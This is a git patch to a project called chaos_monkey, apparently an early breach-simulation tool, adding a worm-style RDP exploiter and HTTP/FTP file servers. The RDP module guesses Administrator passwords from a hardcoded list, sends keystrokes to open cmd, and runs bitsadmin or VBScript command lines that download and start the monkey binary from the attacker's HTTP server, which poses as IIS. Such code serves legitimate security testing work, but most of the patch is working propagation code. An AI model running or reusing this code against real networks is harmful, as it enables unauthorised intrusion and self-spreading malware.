From 01bc17f80c67212a3463a57c8f769a0c24196cdc Mon Sep 17 00:00:00 2001 From: Barak Hoffer Date: Mon, 7 Sep 2015 10:25:25 +0300 Subject: [PATCH] - rdp exploitation - http file transfer - ftp server code for future support --- chaos_monkey/build_py2exe.bat | 1 - chaos_monkey/config.py | 10 +- chaos_monkey/exploit/__init__.py | 3 +- chaos_monkey/exploit/rdpgrinder.py | 267 +++++++++++++++++++++++++---- chaos_monkey/exploit/tools.py | 20 ++- chaos_monkey/exploit/wmiexec.py | 20 ++- chaos_monkey/model/__init__.py | 3 + chaos_monkey/transport/__init__.py | 5 + chaos_monkey/transport/ftp.py | 171 ++++++++++++++++++ chaos_monkey/transport/http.py | 137 +++++++++++++++ 10 files changed, 584 insertions(+), 53 deletions(-) create mode 100644 chaos_monkey/transport/__init__.py create mode 100644 chaos_monkey/transport/ftp.py create mode 100644 chaos_monkey/transport/http.py diff --git a/chaos_monkey/build_py2exe.bat b/chaos_monkey/build_py2exe.bat index 56a323903..1df0d1757 100644 --- a/chaos_monkey/build_py2exe.bat +++ b/chaos_monkey/build_py2exe.bat @@ -1,2 +1 @@ c:\Python27\python -m PyInstaller.main --name monkey -F -y --clean -i monkey.ico main.py -move /Y dist\monkey.exe "%allusersprofile%\desktop\monkey.exe" diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 21d93a6e4..a07dc5fe6 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -3,7 +3,7 @@ import os import sys import ntpath from network.range import ClassCRange, RelativeRange, FixedRange -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter +from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter from network import TcpScanner, PingScanner __author__ = 'itamar' @@ -39,7 +39,7 @@ class WormConfiguration(object): max_iterations = 2 scanner_class = TcpScanner - exploiter_classes = WmiExploiter, SmbExploiter, Ms08_067_Exploiter + exploiter_classes = (RdpExploiter, ) # how many victims to look for in a single scan iteration victims_max_find = 14 @@ -57,9 +57,7 @@ class WormConfiguration(object): #range_class = RelativeRange #range_size = 8 range_class = FixedRange - range_fixed = ("192.168.122.15", "192.168.122.17", "192.168.122.14", "192.168.122.9", - "192.168.144.8", "192.168.144.11", "192.168.144.12", - "192.168.166.10", "192.168.166.12", "192.168.166.11") + range_fixed = ("10.15.1.94", ) # TCP Scanner tcp_target_ports = [445, 135] @@ -81,4 +79,4 @@ class WormConfiguration(object): # psexec exploiter psexec_user = "Administrator" - psexec_passwords = ["1234", "password", "Password1!", "password", "12345678"] + psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"] diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 346ccf20e..de5640f7c 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -12,4 +12,5 @@ class HostExploiter(object): from win_ms08_067 import Ms08_067_Exploiter from wmiexec import WmiExploiter -from smbexec import SmbExploiter \ No newline at end of file +from smbexec import SmbExploiter +from rdpgrinder import RdpExploiter \ No newline at end of file diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index a436ba03b..356ab7d3c 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -1,53 +1,166 @@ - - - - +import time import socket +import threading +import cffi +import os.path +import twisted.python.log +import rdpy.core.log as rdpy_log from rdpy.protocol.rdp import rdp from twisted.internet import reactor +from rdpy.core.error import RDPSecurityNegoFail +from logging import getLogger +from exploit import HostExploiter +from exploit.tools import HTTPTools +from model import RDP_CMDLINE_HTTP_BITS +from model.host import VictimHost +__author__ = 'hoffer' -__author__ = 'itamar' +KEYS_INTERVAL = 0.1 +MAX_WAIT_FOR_UPDATE = 120 +KEYS_SENDER_SLEEP = 0.01 +DOWNLOAD_TIMEOUT = 60 +LOG = getLogger(__name__) -class RDPClient(rdp.RDPClientObserver): - def __init__(self, controller, width, height): - super(RDPClient, self).__init__(controller) +def twisted_log_func(*message, **kw): + if kw.has_key('isError') and kw['isError']: + error_msg = 'Unknown' + if kw.has_key('failure'): + error_msg = kw['failure'].getErrorMessage() + LOG.error("Error from twisted library: %s" % (error_msg,)) + else: + LOG.debug("Message from twisted library: %s" % (str(message),)) +def rdpy_log_func(message): + LOG.debug("Message from rdpy library: %s" % (message,)) + +twisted.python.log.msg = twisted_log_func +rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR +rdpy_log.log = rdpy_log_func + +# thread for twisted reactor, create once. +global g_reactor +g_reactor = threading.Thread(target=reactor.run, args=(False,)) + +class ScanCodeEvent(object): + def __init__(self, code, is_pressed=False, is_special=False): + self.code = code + self.is_pressed = is_pressed + self.is_special = is_special + +class CharEvent(object): + def __init__(self, char, is_pressed=False): + self.char = char + self.is_pressed = is_pressed + +class SleepEvent(object): + def __init__(self, interval): + self.interval= interval + +class WaitUpdateEvent(object): + def __init__(self, updates=1): + self.updates = updates + pass + +def str_to_keys(orig_str): + result = [] + for c in orig_str: + result.append(CharEvent(c,True)) + result.append(CharEvent(c,False)) + result.append(WaitUpdateEvent()) + return result + +class KeyPressRDPClient(rdp.RDPClientObserver): + def __init__(self, controller, keys, width, height, addr): + super(KeyPressRDPClient, self).__init__(controller) + self._keys = keys + self._addr = addr + self._update_lock = threading.Lock() + self._wait_update = False + self._keys_thread = threading.Thread(target=self._keysSender) + self._keys_thread.daemon = True self._width = width self._height = height + self._last_update = 0 + self.closed = False + self.success = False def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): - print "onUpdate", destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, len(data) + update_time = time.time() + self._update_lock.acquire() + self._last_update = update_time + self._wait_for_update = False + self._update_lock.release() + + def _keysSender(self): + while True: + + if self.closed: + return + + if len(self._keys) == 0: + reactor.callFromThread(self._controller.close) + LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port) + return + + key = self._keys[0] + + self._update_lock.acquire() + time_diff = time.time() - self._last_update + if type(key) is WaitUpdateEvent: + self._wait_for_update = True + self._update_lock.release() + key.updates -= 1 + if key.updates == 0: + self._keys = self._keys[1:] + elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): + self._wait_for_update = False + self._update_lock.release() + if type(key) is ScanCodeEvent: + reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special) + elif type(key) is CharEvent: + reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) + elif type(key) is SleepEvent: + time.sleep(key.interval) + + self._keys = self._keys[1:] + else: + self._update_lock.release() + time.sleep(KEYS_SENDER_SLEEP) + def onReady(self): - """ - @summary: Call when stack is ready - """ - print "onReady" + pass def onClose(self): - """ - @summary: Call when stack is close - """ - print "onClose" + self.success = len(self._keys) == 0 + self.closed = True - def closeEvent(self, e): - print "closeEvent", e + def onSessionReady(self): + self._last_update = time.time() + self._keys_thread.start() -class RDPClientFactory(rdp.ClientFactory): - def __init__(self): - self._username = "Administrator" - self._password = "Password1!" - self._domain = "" +class CMDClientFactory(rdp.ClientFactory): + def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): + self._username = username + self._password = password + self._domain = domain self._keyboard_layout = "en" - self._optimized = False - self._security = "rdp" # "ssl" - - self._width = 200 - self._height = 200 - - def __repr__(self): - return "" % (self._width, self._height) + # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter + self._keys = [ScanCodeEvent(91,True,True), + ScanCodeEvent(19,True), + ScanCodeEvent(19,False), + ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True), + ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True), + ScanCodeEvent(28,False), WaitUpdateEvent()] + self._optimized = optimized + self._security = rdp.SecurityLevel.RDP_LEVEL_NLA + self._nego = True + self._client = None + self._width = width + self._height = height + self.done_event = threading.Event() + self.success = False def buildObserver(self, controller, addr): """ @@ -59,19 +172,101 @@ class RDPClientFactory(rdp.ClientFactory): """ #create client observer - self._client = RDPClient(controller, self._width, self._height) + self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) controller.setUsername(self._username) controller.setPassword(self._password) controller.setDomain(self._domain) controller.setKeyboardLayout(self._keyboard_layout) - controller.setHostname(socket.gethostname()) + controller.setHostname(addr.host) if self._optimized: controller.setPerformanceSession() controller.setSecurityLevel(self._security) return self._client + def clientConnectionLost(self, connector, reason): + #try reconnect with basic RDP security + if reason.type == RDPSecurityNegoFail and self._nego: + LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port)) + #stop nego + self._nego = False + self._security = rdp.SecurityLevel.RDP_LEVEL_RDP + connector.connect() + return -reactor.connectTCP("10.0.0.1", 3389, RDPClientFactory()) -reactor.run() + LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) + self.success = self._client.success + self.done_event.set() + + def clientConnectionFailed(self, connector, reason): + LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage())) + self.success = False + self.done_event.set() + +class RdpExploiter(HostExploiter): + def __init__(self): + self._config = __import__('config').WormConfiguration + + def exploit_host(self, host, src_path, port=3389): + global g_reactor + assert isinstance(host, VictimHost) + + if not g_reactor.is_alive(): + g_reactor.daemon = True + g_reactor.start() + + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(host, src_path) + + command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(src_path), 'http_path' : http_path} + + passwords = list(self._config.psexec_passwords[:]) + known_password = host.get_credentials(self._config.psexec_user) + if known_password is not None: + if known_password in passwords: + passwords.remove(known_password) + passwords.insert(0, known_password) + + exploited = False + for password in passwords: + try: + # run command using rdp. + + LOG.info("Trying rdp logging into victim %r with user" + " %s and password '%s'", host, + self._config.psexec_user, password) + + client_factory = CMDClientFactory(self._config.psexec_user, password, "", command) + + reactor.connectTCP(host.ip_addr, port, client_factory) + + client_factory.done_event.wait() + + if client_factory.success: + exploited = True + break + + except Exception, exc: + LOG.debug("Error logging into victim %r with user" + " %s and password '%s': (%s)", host, + self._config.psexec_user, password, exc) + continue + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + + if not exploited: + LOG.debug("Exploiter RdpGrinder failed, rdp failed.") + return False + elif http_thread.downloads == 0: + LOG.info("Trying rdp logging into victim %r with user" + " %s and password '%s'", host, + self._config.psexec_user, password) + LOG.debug("Exploiter RdpGrinder failed, http download failed.") + return False + + LOG.info("Executed monkey '%s' on remote victim %r", + os.path.basename(src_path), host) + + return True \ No newline at end of file diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index e31310e25..62d8ea017 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -3,6 +3,11 @@ import os import ntpath import pprint import logging +import os.path +import socket +import urllib +from difflib import get_close_matches +from transport import HTTPServer from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.smbconnection import SMBConnection, SMB_DIALECT @@ -16,7 +21,6 @@ __author__ = 'itamar' LOG = logging.getLogger(__name__) - class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % @@ -342,3 +346,17 @@ class SmbTools(object): dce.bind(srvs.MSRPC_UUID_SRVS) return dce + + +class HTTPTools(object): + @staticmethod + def create_transfer(host, src_path, local_ip=None, local_port=4444): + if None == local_ip: + local_hostname = socket.gethostname() + local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0] + + httpd = HTTPServer(local_ip, local_port, src_path) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd \ No newline at end of file diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index c8dd4e65d..6c2260692 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -3,10 +3,10 @@ import socket import ntpath import logging import traceback -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP from model.host import VictimHost from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException +from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException LOG = logging.getLogger(__name__) @@ -60,19 +60,22 @@ class WmiExploiter(HostExploiter): LOG.debug("Skipping %r - already infected", host) return False - # copy the file remotely using SMB + #copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, self._config.psexec_user, password, src_path, self._config.dropper_target_path) + remote_full_path = False + if not remote_full_path: - wmi_connection.close() - - return False - + remote_full_path = self._config.dropper_target_path + http_path = HTTPTools.create_transfer(host, + src_path, + remote_full_path) + cmdline = MONKEY_CMDLINE_HTTP % {'http_path': http_path, 'monkey_path': remote_full_path} # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + elif remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} else: cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} @@ -86,6 +89,7 @@ class WmiExploiter(HostExploiter): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) success = True + raw_input() else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index c70624596..61e65774c 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -6,5 +6,8 @@ DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) +RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s !SystemRoot!\\%%(monkey_name)s&&start /b !SystemRoot!\\%%(monkey_name)s %s' % (MONKEY_ARG, ) +RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "!SystemRoot!\\%%(monkey_name)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c !SystemRoot!\\%%(monkey_name)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) from host import VictimHost \ No newline at end of file diff --git a/chaos_monkey/transport/__init__.py b/chaos_monkey/transport/__init__.py new file mode 100644 index 000000000..5b459df9a --- /dev/null +++ b/chaos_monkey/transport/__init__.py @@ -0,0 +1,5 @@ + +__author__ = 'hoffer' + +from ftp import FTPServer +from http import HTTPServer \ No newline at end of file diff --git a/chaos_monkey/transport/ftp.py b/chaos_monkey/transport/ftp.py new file mode 100644 index 000000000..0b855450d --- /dev/null +++ b/chaos_monkey/transport/ftp.py @@ -0,0 +1,171 @@ +import os,socket,threading,time +import StringIO + +__author__ = 'hoffer' + +class FTPServer(threading.Thread): + def __init__(self, local_ip, local_port, files): + self.files=files + self.cwd='/' + self.mode='I' + self.rest=False + self.pasv_mode=False + self.local_ip = local_ip + self.local_port = local_port + threading.Thread.__init__(self) + + def run(self): + self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.sock.bind((self.local_ip,self.local_port)) + self.sock.listen(1) + + self.conn, self.addr = self.sock.accept() + + self.conn.send('220 Welcome!\r\n') + while True: + if 0 == len(self.files): + break + cmd=self.conn.recv(256) + if not cmd: break + else: + try: + func=getattr(self,cmd[:4].strip().upper()) + func(cmd) + except Exception,e: + self.conn.send('500 Sorry.\r\n') + break + + self.conn.close() + self.sock.close() + + def SYST(self,cmd): + self.conn.send('215 UNIX Type: L8\r\n') + def OPTS(self,cmd): + if cmd[5:-2].upper()=='UTF8 ON': + self.conn.send('200 OK.\r\n') + else: + self.conn.send('451 Sorry.\r\n') + def USER(self,cmd): + self.conn.send('331 OK.\r\n') + def PASS(self,cmd): + self.conn.send('230 OK.\r\n') + #self.conn.send('530 Incorrect.\r\n') + def QUIT(self,cmd): + self.conn.send('221 Goodbye.\r\n') + def NOOP(self,cmd): + self.conn.send('200 OK.\r\n') + def TYPE(self,cmd): + self.mode=cmd[5] + self.conn.send('200 Binary mode.\r\n') + + def CDUP(self,cmd): + self.conn.send('200 OK.\r\n') + + def PWD(self,cmd): + self.conn.send('257 \"%s\"\r\n' % self.cwd) + + def CWD(self,cmd): + self.conn.send('250 OK.\r\n') + + def PORT(self,cmd): + if self.pasv_mode: + self.servsock.close() + self.pasv_mode = False + l=cmd[5:].split(',') + self.dataAddr='.'.join(l[:4]) + self.dataPort=(int(l[4])<<8)+int(l[5]) + self.conn.send('200 Get port.\r\n') + + def PASV(self,cmd): + self.pasv_mode = True + self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + self.servsock.bind((local_ip,0)) + self.servsock.listen(1) + ip, port = self.servsock.getsockname() + self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % + (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) + + def start_datasock(self): + if self.pasv_mode: + self.datasock, addr = self.servsock.accept() + else: + self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) + self.datasock.connect((self.dataAddr,self.dataPort)) + + def stop_datasock(self): + self.datasock.close() + if self.pasv_mode: + self.servsock.close() + + + def LIST(self,cmd): + self.conn.send('150 Here comes the directory listing.\r\n') + self.start_datasock() + for fn in self.files.keys(): + k=self.toListItem(fn) + self.datasock.send(k+'\r\n') + self.stop_datasock() + self.conn.send('226 Directory send OK.\r\n') + + def toListItem(self,fn): + fullmode='rwxrwxrwx' + mode='' + d='-' + ftime=time.strftime(' %b %d %H:%M ', time.gmtime()) + return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn + + def MKD(self,cmd): + self.conn.send('257 Directory created.\r\n') + + def RMD(self,cmd): + self.conn.send('450 Not allowed.\r\n') + + def DELE(self,cmd): + self.conn.send('450 Not allowed.\r\n') + + def SIZE(self,cmd): + self.conn.send('450 Not allowed.\r\n') + + def RNFR(self,cmd): + self.conn.send('350 Ready.\r\n') + + def RNTO(self,cmd): + self.conn.send('250 File renamed.\r\n') + + def REST(self,cmd): + self.pos=int(cmd[5:-2]) + self.rest=True + self.conn.send('250 File position reseted.\r\n') + + def RETR(self,cmd): + fn = cmd[5:-2] + if self.mode=='I': + fi=self.files[fn] + else: + fi=self.files[fn] + self.conn.send('150 Opening data connection.\r\n') + if self.rest: + fi.seek(self.pos) + self.rest=False + data= fi.read(1024) + self.start_datasock() + while data: + self.datasock.send(data) + data=fi.read(1024) + fi.close() + del self.files[fn] + self.stop_datasock() + self.conn.send('226 Transfer complete.\r\n') + + def STOR(self,cmd): + fn = cmd[5:-2] + fo = StringIO.StringIO() + self.conn.send('150 Opening data connection.\r\n') + self.start_datasock() + while True: + data=self.datasock.recv(1024) + if not data: break + fo.write(data) + fo.seek(0) + self.stop_datasock() + self.conn.send('226 Transfer complete.\r\n') \ No newline at end of file diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py new file mode 100644 index 000000000..e1d357174 --- /dev/null +++ b/chaos_monkey/transport/http.py @@ -0,0 +1,137 @@ +import urllib, BaseHTTPServer, threading, os.path +import shutil +import struct +from logging import getLogger + +__author__ = 'hoffer' + +LOG = getLogger(__name__) + +class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): + protocol_version = "HTTP/1.1" + filename = "" + + def version_string(self): + return "Microsoft-IIS/7.5." + + @staticmethod + def report_download(): + pass + + def do_POST (self): + self.send_error (501, "Unsupported method (POST)") + return + + def do_GET(self): + """Serve a GET request.""" + f, start_range, end_range = self.send_head() + if f: + f.seek(start_range, 0) + chunk = 0x1000 + total = 0 + while chunk > 0: + if start_range + chunk > end_range: + chunk = end_range - start_range + try: + self.wfile.write(f.read(chunk)) + except: + break + total += chunk + start_range += chunk + + if f.tell() == os.fstat(f.fileno()).st_size: + self.report_download() + + f.close() + + def do_HEAD(self): + """Serve a HEAD request.""" + f, start_range, end_range = self.send_head() + if f: + f.close() + + def send_head(self): + if self.path != '/'+urllib.quote(os.path.basename(self.filename)): + self.send_error (500, "") + return + f = None + try: + # Always read in binary mode. Opening files in text mode may cause + # newline translations, making the actual size of the content + # transmitted *less* than the content-length! + f = open(self.filename, 'rb') + except IOError: + self.send_error(404, "File not found") + return (None, 0, 0) + fs = os.fstat(f.fileno()) + size = int(fs[6]) + start_range = 0 + end_range = size + + if "Range" in self.headers: + s, e = self.headers['range'][6:].split('-', 1) + sl = len(s) + el = len(e) + if sl > 0: + start_range = int(s) + if el > 0: + end_range = int(e) + 1 + elif el > 0: + ei = int(e) + if ei < size: + start_range = size - ei + + if start_range == 0 and end_range - start_range >= size: + self.send_response(200) + else: + self.send_response(206) + else: + self.send_response(200) + + self.send_header("Content-type", "application/octet-stream") + self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size)) + self.send_header("Content-Length", min(end_range - start_range, size)) + self.end_headers() + return (f, start_range, end_range) + + def log_message(self, format, *args): + LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), + self.log_date_time_string(), + format % args)) + + +class InternalHTTPServer(BaseHTTPServer.HTTPServer): + def handle_error(self, request, client_address): + #ToDo: find a better error message. + #LOG.debug("HTTPServer error from %s:%s" % client_address) + pass + +class HTTPServer(threading.Thread): + def __init__(self, local_ip, local_port, filename, max_downloads=1): + self._local_ip = local_ip + self._local_port = local_port + self._filename = filename + self.max_downloads = max_downloads + self.downloads = 0 + self._stopped = False + threading.Thread.__init__(self) + + def run(self): + class TempHandler(FileServHTTPRequestHandler): + filename = self._filename + @staticmethod + def report_download(): + self.downloads+=1 + + httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler) + httpd.timeout = 0.5 + + while not self._stopped and self.downloads < self.max_downloads: + httpd.handle_request() + + self._stopped = True + + def stop(self, timeout=60): + self._stopped = True + self.join(timeout) + \ No newline at end of file